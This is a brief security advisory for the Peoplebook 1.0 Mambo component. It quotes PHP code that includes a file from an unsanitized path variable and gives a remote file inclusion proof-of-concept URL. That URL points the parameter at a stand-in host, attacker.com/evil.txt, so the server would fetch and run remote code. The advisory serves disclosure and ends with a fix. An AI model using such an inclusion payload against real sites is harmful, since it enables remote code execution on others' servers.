Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Peoplebook Component
Application : Peoplebook Component
version : 1.0
URL : www.mamboforge.net/projects/peoplebook
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~~
in folder com_peoplebook we found vulnerability script param.peoplebook.php.
-----------------------param.peoplebook.php----------------------
....
<?php
if (file_exists($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php')) {
require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php');
}
else {
require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/english.php');
}
...
----------------------------------------------------------
Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
Proof Of Concept:
~~~~~~~~~~~~~~~
http://[target]/[path]/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path= http://attacker.com/evil.txt?
Solution:
~~~~~~~
sanitize variabel $mosConfig_absolute_path in param.peoplebook.php
